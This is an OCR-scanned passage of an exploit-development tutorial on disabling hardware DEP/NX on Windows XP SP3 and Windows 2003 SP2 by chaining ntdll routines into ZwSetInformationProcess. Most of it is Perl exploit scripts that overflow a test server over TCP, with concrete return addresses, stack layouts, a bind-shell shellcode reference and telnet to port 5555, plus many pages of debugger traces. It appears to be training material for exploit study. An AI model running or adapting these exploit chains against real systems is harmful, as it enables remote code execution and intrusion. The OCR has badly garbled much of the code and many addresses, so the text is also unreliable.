which will serve as a parameter to the SetInformationProcess call, disabling NX). Since you have probably also
overwriiten saved EBP with your buffer, you’ll have to build in a technique that will make ebp point to a valid
writable address (address on the stack for example) before mitiating the NX Disable routines. We’ll talk about

this later on.
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In order to demonstrate DEP bypass on Windows XP, we’ll use the vulnerable server application (code
available at top of this lab under “Stack cookie protection debugging & demonstration” ), which will spawn a
network listener (tcp 200) and wait for input. This application is vulnerable to a buffer overflow, allowing us to
directly control RET (saved EIP). Compile this code on Windows XP SP3 (without /GS, without Safesch).
Make sure DEP is enabled.

Let’s gather all components and setup the stack in a special way, which is required to make this bypass work.

We can find an mstruction that will put | in eax and then return in ntdll (NtdllOkayToLockRoutine) :

. ntdll!NtdllOkayToLockRoutine:
g 7¢95371la 001 mowv al,1l
; T7¢c95371c ¢20400 ret 4

Pay attention : we need to deal with a 4 byte offset change (because a ret+0x04 will be executed)
Some other possible instructions can be found here :

kemel32.d11:

kernel32!NlsThreadCleanup+0x71: -

7ec80clal b0l mov al,l
g 7c80claZ ¢3 ret
rpertd.dll

L 0:000> u Ox77eda4d0?
. RPCRT4!'NDR_PIPE HELPER32::GotoNextParam+0xlb:

- 77edad02 bOOL mov al,l
! 77eda404 c3 ret
rpertd.dll

50:000> u 0x77edabba

| RPCRT4 INDR_PIPE HELPER32::VerifyChunkTailCounter:
f 77edaéba b001 mov al, i

i TTedaébc c20800 ret 8

Pay attention : ret+0x08 |
(WE’1l explain how to look for these addresses later on)

Ok, we have 4 addresses that will take care of the first requirement. This address must be put at the saved EIP
address.

The LdrpCheckNXCompatibility function on Windows XP SP3 (English) looks like this :
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G:000> uf ntdlliLdrpCheckNXCompatibility
ntdll!LdrpCheckNXCompatibility:

7c9led3l 8bff mov edi, edi
7c9%1cd33 55 “push ebp
7¢c91cd34 8bec mov ebp, esp
Tc9led36 51 Prush ecx
T7c91cd37 8365fc00 and dword ptr [ebp-4).,0
. TeSlced3h 56 push esi
© 7c9lcd3c £F7508 push dword ptr [ebp+8]
7c91lcd3f e8B7EfLfFF call ntdll!LdrpCheckSafeDiscDll (7¢9lcech)
7c9lecdd44 3c¢01 cmp al,l
Tc9led4s 6ad2 push 2
- 7c91led4s Be pop esi
Tedledd? 0£84e£470200 je ntdll!LdrpCheckNXCompatibility+0xla (7¢94153e)

At 7c91cd44, steps (1) to (3) are executed. esi is set to 2, and we will to jump to 0x7¢94153¢.). That means that
the second address we need to craft on our custom stack is 7¢91cd44.

At 7c¢91cd49, the jump is made to 7¢94153¢, which contains the following instructions

. ntdll!LdrpCheckNXCompatibility+0xla:

" 7c94153e 8975f¢ MoV dword ptr [ebp-4],esi
. 7c941541 ©90Sb8EAff Smp ntdll!LdrpCheckNXCompatibility+0xld {7cSlcd4f)

This is where steps (4) and (5) are executed. esi contains value 2, and ebp-4 is now filled with the contents of
esi (=2). Next we will jump to 7c91cd4f, which contains the following instructions :

S 0:000> u 7cY9lcd4f
' ntdll!LdrpCheckNXCompatibility+0xld:

i 7e8led4df 837dfc00 cmp dword ptr f[ebp-4]1,C

. 7c91cd53 0£85089b0100 ine ntdll!LdrpCheckNXCompatibility+0x4d (7c936861)
This is step 6. The code determines whether the local variable (ebp-4) contains 0 or not, We have put ‘2’ in this
local variable, so the jump (jump if not equal) is made to 7c¢936861. At that address, the following instructions

are executed (step 7):

L 0:000> u Tc936861

© ntdll!{LdrpCheckNXCompatibility+0x4d:

. 7c936861 6a04 push 4

L 7¢936863 8d45fc lea eax, {ebp-4}

S 7¢%36866 50 push eax

" 7¢936867 6a22 push 22h

i 7c936869 saff push OFFFFFFFFh

- 7c93686k eB2e74fdff call ntdll!ZwSetInformationProcess {7c¢c90dcYe)

. 7¢936870 e%1865feff Jmp ntdil!LdrpCheckNXCompatibility+0x5¢c (7c¢%icd8d)
o 7¢936875 90 nop

At 7c93686b, the ZwSetInformationProcess function is called. The instructions prior to that location basically
set the arguments in the ProcessExecuteFlags Information class. One of these parameters (currently at ebp-4) is
0x02, which means that NX will be disabled. When this function completes, it returns back and executes the
next mstruction (at 7¢936870), which contains the epilog :
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ntdll!LdrpCheckNXCompatibility+0x5c:

7c9lcdBd Se Bon esi
Tc9lcdBe 9 leave
7c9lcd8f 20400 ret 4

At that point, NX is disabled, and the “ret 4” will jump back to the caller function. If we have set up the stack
correctly, we land back at a location on the stack that can be filled with a jump instruction to our shellcode.

Sounds simple — but the guys that discovered this technique most likely had to research everything in reverse
order... A big high five & thumbs up for a job well done !

Anyways, what does this mean in terms of setting up the stack ? We have talked about addresses and offsets to
take care of... but how do we need to build our buffer ?

ImmDbg can help us with this. ImmDbg comes with a pycommand !findantidep, which will help you setting up
the stack correctly. Alternatively, my own custom pycommand pvefindaddr can help looking for more addresses
that could be used for setting up the stack. (WE have noticed that !findantidep does not always get you the
correct addresses. So you can use !findantidep to get the stack structure, and pvefindaddr to get the correct

addresses)

First, look up 2 of the required addresses using pvefindaddr

WEHLIFEUL-
BEADFOUD
BBROFBaD.

BEADFaan
GBADFBa0
BEACFEID
FCO1CO44 Found

L 1 EPAGE_EYECUTE_RERLD)
FBROFAOD Found t &

Next, run !findantidep to get the structure. This pycommand will show you 3 dialog boxes. Just select an
address in the first box (any address), then fill in ‘jmp esp’ in the second box (without the quotes), and select
any address from the 3rd box. Note that we’re not interested in the addresses provided by findantidep, only in

the structure. ..

Open the Log window :

T T T N e Ern € £ b VET m SB 4 et P b T 8 ch L laade

+ "omox Ox54
+ n
+ shellcode
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This shows us how we need to set up the stack, according to !findantidep :
~lst addr | offset 1 | Znd address | offset 2 | 54 bytes | jmp to shellc | shellc

1st addr = set eax to I and return. (for example, 0x7¢95371a — discovered with pvefindaddr). In our malicious
payload, this is what we need to overwrite saved EIP with. At this address (0x7¢95371a), ret 4 is pcnformed S0
we need to add 4 bytes offset after this address {offset 1).

2nd addr = initiate the NX disable process by jumping to cmp al, 1. This is 0x7¢91cd44 (discovered with
pvefindaddr). When this process returns, another ret 4 will be performed (so we need to add 4 more bytes
offset) (offset 2)

Next, 54 bytes of padding 1s added. This is needed to adjust the stack. After NX is disabled, the saved registers
are popped of the stack and then a leave instruction is executed. At that point, EBP is 54 bytes away from ESP,
so in order to compeunsate for this, we need to add 54 bytes.

Then, after these 54 bytes, we need to put the address of a “jmp to the shellcode™. This is the location where the
flow will return to after disabling NX. Finally, we can put our shellcode .

(it’s obvious that this stack structure depends on the real stack values when the exploit is ran. Just see if you can
reference the shellcode by doing a jump/call/push+ret instruction and fill in the values accordingly). In fact, the
entire structure shown by !findantidep is just theory. You just need to build the buffer step by step and by
looking at register values after every step. That will ensure that you are building the right buffer. And that is
exactly what we will do using our example application.

Let’s have a look at our vulnsrv.exe example. We know that we will overwrite saved EIP after 508 bytes. So
instead of overwriting saved EIP with the address of jmp esp, we will put the specially crafted buffer at that

location, which will disable NX first,

We’ll build the stack from scratch. Let’s start by putting the first address at saved EIP and then see where that
leadsus to:

508 A’s +0x7¢95371a+ “BBBB” + “CCCC” + 54 I»’s + “EEEE” + 700 F’s

i use strict;

j?use Socket;

Cmy Sjunk = " " x 508;

.omy Sdisabledep = pack('V',0x7c95371a);
iP Sdisabledep Sdisabledep.” ";

' $disabledep S$disabledep.™ .,

. $disabledep $disabledep. (" ™ x 54};
. $disabledep Sdisabledep. (" "}
my S$shellcode=" * x 700;

it

" # initialize host and port

~my Shost = ghift |i "localhost';
Py S$port = shift || 200;

Smy S$proto = getpretobynama{'tep’):
# get the port address
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“my $laddr = inet_aton($host}):

fmy $paddr = sockaddr in($port, $iaddr);
print " "

" # create the scckei, connsci to the port

socket (SOCKET, PF INET, SOCK STREAM, Sproto) or die " B

print * ",

connect (SOCKET, Spaddr) or die ™ "
pring " ";
my $paylecad = $junk.Sdisabledep.$shellcode." *;
print. SOCKET Spayload." ™;
Sprint " "length(Spavload) . " ";

cclosa SOCKET or die " "

After running this buffer against the application, we get :

| {1154.13c4): Access vioclation - code c0000005 (first chance)

| First chance exceptions are reported before any exception handling.

! This exception may be expected and handled.

f eax=0012e701 ebx=00000000 ecx=0012e565 edx=0012e700 esi=00000001 <di=00403388
P elp=42424242 esp=0012e26c ebp=41414141 iopl=0 nv up el pl zr na pe nc
. c35=001b s5=0023 ds=0023 es=0023 fs=003b gs=0000 efl1=00010246
[ 42424242 27

ok, so the first address worked. esi contains 1 and flow is returned to BBBB. So we need to put the second
address where BBBB is placed. The only additional thing we need to look at is ebp. When jumping to the
second address, we know that — at a certain point, value 2 will be stored in a local variable at ebp-4. At this
point ebp does not contain to a valid address, so this operation will most likely fail. Let’s see : '

} use strict;
S use Socket;
cmy S$junk = 7" x 508;

Cmy $disabledep = pack('V',0x7¢$5371a);
i Sdisabledep = Sdisabledep.pack{'V',0x7c91lcd44);

i Sdisabledep = S$disabledep."” "

" Sdisabledep = S$disabledep. (" " x 54);
! Sdisabledep =. S$disabledep. (" "y

i my $shellcode=" * x 700;

" # initialize host and port

"my Shost = ghift || 'leocalhost';

s wmy Sport = shift | 200;

»my Sprotce = getprotobynrame{'tep');

- 4 get the port address

my $iaddr = inet aton{$host);

cmy Spaddr scckaddr in($port, S$iaddr}:
S print " "

- # create the socket, connect to the port

. socket (SOCKET, PF_INET, SOCK STREAM, $proto) or die "y

" LI

print ;
connect (SCCKET, S$paddr) or dis " ";

print " "

my Spayload = $junk.Sdisabledep.$shellcede." *;

print SOCKET S$payload." ';

print " ".length ($Spayleoad) ." v
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. close SOCKET or dis " v

App dies, windbg says :

{1lac.1530): Access violation - code 0000005 (first chance)
First chance exceptions are reported before any exception handling.

 This exception may be expected and handled.

eax=0012e701 ebx=00000000 ecx=0012e565% odx=0012e700 e5i=00000002 edi=00403388

eip=7c%4153e esp=0012e26c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b s5s=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=0001024¢6
ntdlliLdrpCheckNXCompatibility+0xla: :
7c94153e 8975fc¢ mov dword ptr [ebp-4],esi ss5:0023:4141413d=227272722727

Right — attempt to write to ebp-4 (41414141-4 = 4141413d) failed. So we need to adjust the value of ebp before
we start executing the routines to disable NX. In order to do so, we need to find an address that will put
something useful into EBP. We could point EBP to an address on the heap, which will work to store the
temporary variable... but the leave instruction that is executed after disabling NX will take EBP and put it in
ESP... which will mess up our buffer (and point our stack to an entire other location). A better approach would
be to point EBP to a location near our stack..

The following instructions would work :

- push esp / pop ebp / ret

- mov esp,ebp / ret

- etc

Again, pvefindaddr will make things easier :

OEADFGED —
GdﬁDFRBD
HOF 8

??EEE?EE
77EEECDE

Fgunu -
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So instead of starting the first phase (setting eax to 1), we'll first adjust ebp, make sure it returns fo our buffer
(ret instruction), and then we’ll start the routine.

RET (saved EIP) is overwritten after 508 bytes. We’ll now put the address to perform the stack adjustment at
that location, followed by the remaining lines of code :

;use strict;
;use Socket;
L my $junk = " v ox 508;

f my S$disabledep = pack{'V',0x77eedc70); #adjust EBP

? Sdisabledep = $disabledep.pack('V',0x7c85371a); #set eax to 1

. $disabledep = $disabledep. pacA( V' 0x7c%lcd44); #run NX Disable routine
i $disabledep = $disabledep.® ;

| Sdisabledep = S$disabledep.{" ™ x 54};

. S$disabledep = $disabledep. (" "y

| my $shellcode=" " x 700;

. # initialize host and port

Cmy S$host = shift || "localhost';
Py Sport = shift [ 200;

§ my Sproto = getprotobyname('tep'});
! ¥ get the port address

i my Siaddr = inet aton($host);

' my S$paddr = sockaddr_in($port, $iaddr):

S print " . "

- # create the socketl, connact to the port

E socket (SOCKET, PF_INET, SCCK STREAM, $proto) or dis " ";
i print T "

. connect (SOCKET, $paddr) or die " "

L print ™ A

I my Spayload = $junk.$dlsabledep.$shellcode."'.";

| print SOCKET Spayload.” ":

print " : - ".length($payload).” - - g

‘ LlO @ SOCKET or die " o "
After running this code, we get this :

{(bac.1148): Access violatien - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may bhe expected and handled.

eax=0012e701 ebx=00000000 ecx=0012e569% edx=0012e700 esi=00000001 edi=00403388

D eip=43434343 esp=0012e274 ebp=001Ze264 iopl=0 nv up ei pl zr na pe nc
cs=001lb ss=0023 ds=0023 es=0023 £s=003b gs=0000 efl=0001024¢

© 43434343 77 e
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INSTITUTE

bingo ! NX has been dlsablcd EIP points at our C’s, and ESP points at :

G:000> 4 esp .

0012e274 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012e284 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDLDDDD
0012e294 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDEDDDDDDDD
0012e2a4 44 44 45 45 45 45 46 46-46 46 46 46 46 46 46 46 DDEEEEFFFFFFFFEF
0012e2b4 46 46 46 46 46 46 46 46-46 46 46 46 46 46 46 46 FFFFFFFFFFFFFFFR
0012e2cd4 46 46 46 46 46 46 46 46-46 46 46 46 46 46 £6 46 FFFFFFFFEFFFFFFF
0012e2d4 46 46 46 46 46 46 46 46-46 46 46 46 46 46 46 46 FFFFFFFFFFEFFFER
0012e2ed4 46 46 4% 46 46 46 46 46-46 46 46 46 46 46 46 46 FFFFFFFFFFFFFFFF

Final exploit :

use strict;
use Socket;
my S$junk = " " x 508;

ry Sdisabledep = pack('V',0x77eedc70); #adjust ERP
Sdisabledep = $disabledep.pack('V',0x7c95371a); #set eax to 1

*. Sdisabledep = $disabledep.pack{'V',0x7c%lcd44); #run NX Disable routine

" $disabledep

S$disabledep.pack{'V',0x7e47bcaf}; #imp esp {user32.dll;

. my Snops = " " ox 30;
windows/shell bind tep - 702 bytes
http:

Encoder: x86/alphaﬂupper
EXITFUNC=seh, LPORT=5555, RHOST=
“my $shellcode=" o

H oS o o
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# initialize host and port

my $host = shift {| '"localhost';

my S$port = shift || 200;

my Sproto = getprotobyname('tcp'):;

. # get the port address

‘my $iaddr = inet aton(Shost);

' my $paddr = sockaddr in($port, S$iaddr);

" "

Cprint ;
E # create the socket, connect to the port
! socket (SQCKET, PF _INET, SOCK_STREAM, $prote) or die ™ "
fprint " ";
! connect (SOCKET, Spaddr) or die " "
{print " ";
my $payload = $junk.Sdisabledep.$nops.$shellcode." %
print SOCKET S$payload." ";
print ".length($payload) .” "
close SOCKET or die * "

system{'telnet '.Shost.' 5555');
Note that this exploit will work, even if NX/HW DEP is not enabled.

Disabling HW DEP (Windows 2003 SP2) : demonstration

On Windows 2003 SP2, some additional checks are added (CMP AL and EBP versus EBP vs ESI), which
requires us to change our technique just a little. The result is that we need to point both EBP and ESI to writable
addresses in order for the exploit to work.

On Windows 2003 server standard R2 SP2, English, the ntdll! LdrpCheckNXCompatibility function jooks like
this :
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0:000> uf ntdll!LdrpCheckNXCompatibility
ntdll!LdrpCheckNXCompatibility:

7¢c8343b4 8bff mov edi, edi

" 7¢8343h6 55 push ebp
7c8343b7 8bec mov ebp, esp

o 7c8343b9%9 51 push ecx

. 708343ba 833db4a9887c00 cup dword ptr [ntdll!Kernel32BaseQueryModuleData
(7¢c88a9p4) 1,0
Tc8343cl 7441 je ntdll!LdrpCheckNXConmpatibility+0x5f (7c834404)
ntdll ! LdrpCheckNXCompatibility+0xf:

- 7¢c8343¢3 8365fc00 and dword ptr [ebp-4],0

- 7¢c8343c¢7 56 - push esi
7c8343¢c8 8b7508 mov esi,dword ptr [ebpt+8]

.. 7c8343¢ch 56 push esi

. 7¢8343cc 2899510000 call ntdll 'LdrpCheckSafeDiscDll (7¢83956a)

: 7¢c8343d1 3¢01 cnp al,1

. 7¢834333 0£846eb10000 je ntdll!LdrpCheckNXCompatibility+0x2b (7c83f547)

| ntdlliLdrpCheckNXCompatibility+0x21:

7c8343d9 56 push esi

7c8343da 84520000 call ntdli!LdrpCheckappbatabase (7c8326¢3)

7¢c8343df 84c¢O test al,al

Tc8343el 0£8560b10000 jne ntdll!LdrpCheckNXCompatibility+0%2h (7¢83£547)

ntdll !LdrpCheckiNXCompatibility+0x34:

7c8343e7 56 push esi
i 7¢B8343e8 e8e4510000 call ntdll!LdrpCheckNxincompatibleDllSection (7¢c8395d1}
P 7c8343ed 84cO test al,al
 7c8343ef 0£85272c0100 jne ntdll!LdrpCheckNXCompatibility+0x3e (7¢84701¢)
. ntdil!LdrpCheckNXCompatibility+0x45:
o0 Te8343£5 B37dLch0 cmp dword ptr [ebp-4]1,0
o 7cB343£9 0£854£fb10000 ine ntdll!LdrpCheckNXCompatibility+0xdb {(7c83f54e)
: ntdll!LdrpCheckNXCompatibility+0x5a:
© 7c8343ff 804e3780 or byte ptr [esi+37h],80h
1 7cB834403 Se jelats! esi
i ntdll!LdrpCheckNXCompatibility+0x5f:
1 7c834404 9 leave
L 7e834405 ¢20400 ret 4
i ntdll!LdrpCheckNXCompatibility+0x2b:
: 7¢83£547 ¢745£¢02000000 mov dword ptr [ebp-4]},offset <Unloaded elp.dll>+0xl
(C0000002)
. ntdll!LdrpCheckNXCompatibility+0xd4b:
T7c83f54e 6al4 push 4
Tc83IEE50 8d4sfc lea eax, [ebp-4]
TcB83£553 50 push eax
TcB3£554 6azz push 22h
7c83£556 6aff push OFFFFFFFFQ
. 7cB3£558 e80085feff call ntdil!ZwSetInformationProcess (7c827a5d)
(o 7¢B83f£55d e99d4effff jmp ntdll!LdrpCheckNXCompatibility+0x5a (7¢8343ff)

" ntdll!LdrpCheckNXCompatibility+ix3e:
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Tc8470kc c¢745£c02000C00C mowv dword ptr {ebp-4),0ffset <Unloaded elp.dil>+0xl

(00000002}
7c847023 e%cdd3feff jmp ntdlli!LdrpCheckNXCompatibility+0x45 (7c83431£5)

So, the value at [ebp-4] is compared, a jump is made to 7c83f54, the followed by the call to
ZwSetInformationProcess (at 0x7c827a5d)

.ntdll!LdrpCheckNXCompatibility+0x4b:

- 7c83f54e 6a04 push 4

¢ 7cB83f£550 8d45fc lea eax, [ebp-4]

L 7cB83F553 50 push eay

P 7c83f554 6a22 puahn 22h
7c83£556 6aff " push OFFFFFFFFh
TcB83£558 e80085feff call ntdll!ZwSetIinformationProcess (7¢c827a5d)
TcB3£55d e89ddeffff jmp ntdll!LdrpCheckNXCompatibility+Oxb5a {7c8343ff)
Tc83£562 0fbéfd MOVZX edi,ch

0:000> u 7¢cB27a5d

P ntdlll!ZwSetInformationProcess:

P Tek27a5d bBed000000 mov eax, 0EDh

j TcB827a62 bal003fe7f mowv edn,offset SharedUserData!SystemCallStub (7££fe0300)
[ 7c827a67 ££12 call dword ptr [edx]

. 7c827269 ¢21000 ret 10h

{ TcB827a6c 90 nep

i ntdll!NtSetInformaticonThread:

: 7c827a6d b8ee000000 mov eax, OEEh

i 7¢827a72 »al003fe7f mov edx,offset SharedUserData!SystemCallStub (7££e0300)

§7c827a77 ££12 call dword ptr [edx]

After executing this routine, it will return back to the caller function, arriving at 0x7c¢8343ff

ntdll!LdrpCheckNXCompatibility+0x5ba:

[ 7cB8343£1f 804e3780 or byte ptr [esi+37h],80h
P 7c834403 Se pop esi

. ntdil!'LdrpCheckNXCompatibility+0x5E:
| 7cB834404 c9 leave
¢+ 7¢834405 c20400 ret ]

That’s where ESI is used. If that instruction has been executed, esi is popped, and the function epilog begins.

We have already learned how to alter the contents of EBP (so it would point at a writable useful location), now
we need to do the same for ESL On top of that, we really need to review the various instructions & look at the
contents of the registers here. One of the things to notice, when using our example vulnsrv.exe application, is

that whatever is put in ESI, will be used to jump to later on.

Let’s see what happens with the following exploit code, using the following 2 addresses to adjust esi and ebp :

- 0x71¢0db30 : adjust ESI (push esp, pop es1, ret)

- 0x77c17718 : adjust EBP (push esp, pop ebp, ret)
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;:print " ;
i: # create the soccket, connsct to the port
! socket {SOCKET, PF INET, SOCK STREAM, Sproto) or die ¥ "

? 2ax=0012e701l ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388

3 1B .
o fntdli.

CRL - enain Bhread, module WS2_32

[ ] 3]

FTR G9EE

TICQEE

use strict;
P use Socket;
imy $junk = ® 508;
- my $disabledep = pack{'V',(0x71c0db30); #adiust esi
. $disabledep = $disabledep.pack{'V',0x77c177f8); # adjust ebp
" Sdisabledep = Sdisabledep.pack{'V',0x7¢c86311d); f#set eax to 1

" n

- $disabledep= Sdisabledep.” "; #4 bytes padding
. Sdisabledep = $disabledep.pack ('V',0x7c8343f5); #run NX Disable routine
| $disabledep = $disabledep.” ": #4 more bytes padding
%Sdisabledep = $disabledep.pack ('V',0x773ebdff); #jmp esp (user32.dll)
imy Snops = " " ox 30;
‘my $shallcode=" o 700;
;E# initialize host and port
“my $host = shift | "localhost';
my Sport = shift {| 200;

my Sproto = getprotobyname{('tep');

# get the port address

my $iaddr = inet aton{$Shost};

rmy $paddr = sockaddr in{$port, $iaddr);

print M r

| connect (SOCKET, $paddr} or die " "

“print M : R

cmy $payload = $iunk.$disabledep.Snops.$shellcode.” “;

' print SCCKET S$payload." ; _

Loprint " ".length ($payload) . "
cleose SOCKET or die " ";

. system('telnet '.Shost.’ 5555');

Open vulnsrv.exe in windbg, and set a breakpoint at 0x7¢c834315 (so when the NX Disable routine is called).
Then start vulnsrv (you may have to hit F5 a couple of times) and run the exploit code against the server and see
what happens :

Breakpoint is hit

Breakpoint 0 hit
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elp=7c8343f5 esp=0012e274 ebp=0012e2468 iopl=0 nv up ei pl zr na pe nc

. cs=001b ss5=0023 ds=0023 es=0023 £s5=003b gs=0000 ef1=0000024%6

: TcB343£5 837dfcC0 cnp dword ptr [ebp-41,0 55:0023:0012e264=0012e268

ntdll!LdrpCheckNXCompatibility+0x45:

Registers : both esi and ebp now point to a location close to the stack. The low bit of eax contains 1, so that’s an

indication that the ‘mov al,1’ instruction worked.

Now step/trace through the instructions (with the ‘t”) command :

- 0:000> t .

i eax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
j alp=TcB8343£f9 esp=0012e274 ebp=0012e268 iopl=0 nv up €i pl nz na po nc
ccs=001b ss5=0023 ds=0023 es=0023 f£fs=003b gs=0000 efl=00000202
i ntdll!LdrpCheckNXCompatibility+0x49:
§ TcB8343£9 0L£854fb10000 jne ntdll!LdrpCheckNXCompatibility+0xd4b (7c83£f54e)
: 0:000> t
| eax=0012701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
i eip=T7c83fid4e esp=0012e274 ebp=0012e268 iopl=0 nv up i pl nz na po nc
cs=001b ss5=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!LdrpChecklNXCompatibility+0x4b:
7c83fb4e 6204 push 4
0:000> ¢
eax=0012e701 ebx=00000000 ecx=0012e559 adx=0012e700 esi=0012e264 odi=00403388
eip=Tc83£550 esp=0012e270 ebp=0012e¢268 iopl=0 nv up €i pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 £s5=003b gs=0000 ef1=00000202
ntdll ! LdrpCheckNXCompatibility+0Gx4d:
TcB83f550 8d45fc lea eax, [ebp~4]
0:000> ¢
eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 odi=00403388
eip=7c83f553 esp=0012e270 ebp=0012e268 iopl=0 nv up el pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b g¢gs=0000 efl=00000202
ntdll !'LdrpCheckNXCompatibility+0x530;
T7¢83£553 50 push eax
0:000> t
eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e¢264 edi=00403388
eip=7c83£554 esp=0012e26c ebp=0012e268 io0opl=0 nv up €i pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl1=00000202
i ntdlliLdrpCheckNXCompatibility+0x31:
{ 7c83£554 6a22 push 22h
1 0:000> t
i eax=0012e264 ebx=00000000 2cx=00122559 edx=0012e700 esi=0012e264 edi=00403388
eip=TcB83£556 esp=0012268 cbp=00122268 iopl=0 nv up €1 pl nz na po nc
' cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000202
‘ ntdll!LdrpCheckNXCompatibility+0x53:
- 7c83£55¢6 6aff Push OFFFFFFFFh
0:000> ¢
eax=0012e264 ebx=00000000 ecx=0012e559% edx=0012e700 esi=(0012e264 edi=00403388
L eip=T7¢c83£558 esp=0012e264 ebp=0012e268 iopl=0 nv up ei pl nz na po nc
D es=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=000002C2
" ntdll!LdrpCheckiNXCompatibility+0x55:
D Tc83£558 e80085feff call ntdll!ZwSetInformationProcess (7c827a5d)
S 0:000> ¢
s eax=0012264 ebx=00000000 ecx=0012e55% edx=0012e700 es5i=0012e264 edi=00403388
Ceip=T7c827a5d esp=0012e260 ebp=0012e268 iopl=0 nv up ei pl nz na po nc

cs=001b $s5=0023 ds5=0023 es=0023 f£s5=003b gs=0000 ef1=00000202

[br=1}
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ntdil!'ZwSetInformationProcess:

0:000> t

7c827a5d p8ed0d0000 mov eax, 0EDh
0:000> t
eax=000000ed ebx=00000000 ecx=0012e559 odx=0012e700 esi=0017e264 edi=004023288
L elp=T7c827a62 esp=0012e2560 ebp=0012e268 iopl=0 nv up el pl nz na po nc
“es=001b ss5=0023 ds=0023 es=0023 £s=003b gs=0000 efl=00000202
ntdll!NtSetInformationProcess+0x5:
" 7c827a62 bal003felf mov edx,cffiset SharedUserData!SystemCallStub
- 0:000> ¢
- eax=000000ed ebx=00000000 ecx=0012e559 edx=T7ffe0300 es5i=0012a264 edi=00403388
- elp=Tc827a67 esp=0012e260 ebp=0012e2468 iopl=0 nv up ei pl nz na po nc
- ¢5=001lb ss=0023 ds=0023 es5=0023 £5=003b gs=0000 efl=00000202
" ntdll!NtSetInformationProcess+0xa:
" 7cB27a67 ££12 call dword ptr [edx]
. ds:0023:7f££e0300={ntdll'KiFastSystemCall (7¢cB828608)}
2 0:000> t
"t eax=000000ed ebx=00000000 ecx=00122559 edx=T7ffe0300 esi=0012e264 «di=00403388
[ eip=7c828608 esp=0012e25c ebp=0012e268 iopl=0 nv up ei pl nz na po nc
1 cs=00ib 2s8=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000202
i ntdll!KiFastSystemCall:
[ 7¢828608 8bd4 mov edx, esp
1 0:000> ¢
Ceax=000000ed ebx=000C0C00 ecx=0012e559 edx=0012e25c e35i=00122264 edi=00403388
i eip=Tc82860a esp=0012e25c ebp=0012e268 iopl=0 nv up ei pl nz na po nc
P cs=001b  s5=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
i ntdll!'KiFastSystemCall+0x2:
L 7c82860a 0f34 sysenter
. 0:000> ¢
i eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff es5i=0012e264 edi=004023388
©eip=Tc827a69 esp=0012e260 ebp=0012e268 iopl=0D nv up ei pl nz na po nc
. ¢s5=001b s55=0023 ds=0023 es=0023 £s=003b gs=0000 efl=00000202
i ntdll!NtSetInformationProcess+0xc:
i 7c827a69 21000 ret 10h
1 0:000> t
' eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 edi=00403388
é eip=T7c83f55d esp=001Z2e274 ebp=0012e268 iopl=0 nv up el pl nz na pc nc
P es=001b  ss=0023 ds=0023 es=0023 f£s=003b g¢s=0000 efl=00000202
- ntdll!LdrpCheckNXCompatibility+0x5a:
4 7cB83f55d e9%ddeffff imp ntdll!LdrpCheckNXCompatibility+0x5a (7c8343ff)
0:000> t¢
eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 =di=00403388
eip=T7c8343ff esp=0012e274 ebp=00122268 iopl=0 nv up ei pl nz na po nc
cs=001lb $s=0023 ds=0023 es=0023 fs=003pr gs=0000 efi=00000202
i ntdil!LdrpCheckNXCompatibility+0x5a:
| 7c8343ff 804e3780 or byte ptr [esi+37h],80h ds:0023:0012e29b=cc
1 0:000> t
i eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 edi=00403388
$ eip=7cB834403 esp=0012e274 ebp=0012e268 iopl=0 nv up el ng nz na pe nc
i es=001b s55=0023 ds=0023 es=0023 £s=003b gs=0000 efl=00000286
ntdll!LdrpCheckNXCompatibility+0xbe:
(1 7834403 Se pop &5l
S 0:000>
eax=c000000d ebx=00000000 ecx=00000001 edx=fL{ffffff es5i=46464646 edi=00403388
elp=7c834404 esp=0012e278 ebp=0012e268 iopl=0 nv up ei ng nz na pe nc
L cs=001b s5=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000286
ntdll!LdrpCheckliXCompatibility+0x5f:
7c834404 <9 leave
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eax=c000000d ebx=00000000 ecx=00000001 edx=Lfffffff es5i=46464646 edi=00403388

eip=T7c834405 esp=0012e26c ebp=00000022 iopl=0 nv up &1 ng nz na pe nc
cs=001b s5s5=0023 ds=0023 es=0023 £fs=003b gs=0000 efl1=00000286
ntdil!LdrpCheckNXCompatibility+0x60:

7c834405 20400 ret 4

0:000> ¢

eax=c000000d ebx=00000000 ecx=00000001 edx={fffffff es5i=46464646 edi=00403388
eip=00128264 esp=0012e274 ebp=00000022 iopl=90 nv up el ng nz na pe nc
¢s=001b ss5=0023 ds=0023 es=0023 f£s5=003b gs=0000 efl=00000286

0012e264 ff 2?7

Ok, what we see is this : when the function returns, the original value of esi (0x0012e264) is put in EIP.

If we look at EIP, we see ff ff ff ff (which is edx)

P 0:000> d eip

c0012e264 £f £f ff ££f 22 00 00 00-64 e2 12 00 04 00 Q0 00 ...." .

1 0012e274 46 46 46 46 f£f bd 3e 77-90 90 9C 90 90 90 90 90 FFFF..>W........
S 00122284 S0 90 90 S0 90 90 90 90-90 90 90 90 90 90 90 90 ... aiaenn.
S 00122284 90 90 90 90 90 90 GC CC-COQ GC CC GC GC GC CC CC v rmevmnnneeneas
